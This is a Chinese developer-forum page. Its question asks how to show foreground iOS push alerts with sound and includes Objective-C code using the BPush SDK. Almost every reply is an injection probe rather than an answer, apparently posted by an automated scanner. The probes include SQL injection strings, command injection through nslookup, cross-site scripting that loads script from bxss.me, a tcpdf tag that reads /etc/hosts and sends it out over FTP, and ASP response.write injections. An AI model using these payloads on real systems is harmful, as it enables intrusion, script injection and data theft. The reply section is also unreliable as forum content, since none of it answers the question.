未解决

iOS 应用程序在前台的本地推送 #277322个回答

push_client_sdk_for_ios 1.4.9 武汉天梯极客 2017-03-14

问:
应用程序再前台时,怎么接收推送弹框,并且有声音提示 // 应用在前台,不跳转页面,让用户选择。 if (application.applicationState == UIApplicationStateActive) { NSLog(@"acitve "); UILocalNotification *local = [[UILocalNotification alloc]init]; local.soundName = @"test.caf"; local.userInfo = userInfo; //添加本地通知 NSDate * date=[NSDate dateWithTimeIntervalSinceNow:10]; local.fireDate = date; //设置body local.alertBody=userInfo[@"aps"][@"alert"]; //设置action local.alertAction=@"详情"; // [BPush showLocalNotificationAtFront:local identifierKey:nil]; [BPush localNotification:date alertBody:local.alertBody badge:-1 withFirstAction:@"打开" withSecondAction:@"关闭" userInfo:userInfo soundName:nil region:nil regionTriggersOnce:YES category:nil useBehaviorTextInput:YES]; } 这么 写 只是alert弹出来了 并没有出现在通知栏里,也没有声音提示
确认 取消
答:
-1 OR 2+417-417-1=0+0+0+1

默默哒65 2017-08-30

答:
&nslookup dns.ce.\015926.213-2403.213.aea43.\1.bxss.me&'\"`0&nslookup dns.ce.\015926.213-2403.213.aea43.\1.bxss.me&`'

默默哒65 2017-08-30

答:
-1 OR 2+525-525-1=0+0+0+1 --

默默哒65 2017-08-30

答:
$(nslookup dns.ce.\015926.213-2402.213.aea43.\1.bxss.me)

默默哒65 2017-08-30

答:
p1cQelMt

默默哒65 2017-08-30

答:
1

默默哒65 2017-08-30

答:
1'>"><script src=http://bxss.me/s?u=015926&r=213-2401&h=213-aea43-1></script><tcpdf method="addTTFFont" params="%5B%22%5C%2Fetc%5C%2Fhosts%22%2C%22TrueType%22%2C%22%22%2C255%2C%22ftp%3A%5C%2F%5C%2Fftpadmin%3AzaNEgbe8XcCb%40bxss.me%3A999%5C%2Fbxss,015926,213-2401,213,aea43,%22%5D"/>

默默哒65 2017-08-30

答:
set|set&set

默默哒65 2017-08-30

答:
1

默默哒65 2017-08-30

答:
1</script><svg/onload='+/"/+/onmouseover=1/+(s=document.createElement(/script/.source),s.src=(/,/+/bxss.me\/s?u=015926&r=213-2400&h=213-aea43-2&/).slice(2),document.documentElement.appendChild(s))//'>

默默哒65 2017-08-30

答:
hanjimei@baidu.com

一片落叶的足迹 2017-08-08

答:
-1 OR 2+830-830-1=0+0+0+1 --

ZSDVIP 2017-04-02

答:
$(nslookup Y8sTFNxv)

ZSDVIP 2017-04-02

答:
FFUUZHDz

ZSDVIP 2017-04-02

答:
set|set&set

ZSDVIP 2017-04-02

答:
1

ZSDVIP 2017-04-02

答:
"+response.write(9751149*9443832)+"

ZSDVIP 2017-04-02

答:
1

ZSDVIP 2017-04-02

答:
'+response.write(9751149*9443832)+'

ZSDVIP 2017-04-02

答:
response.write(9751149*9443832)

ZSDVIP 2017-04-02

加载更多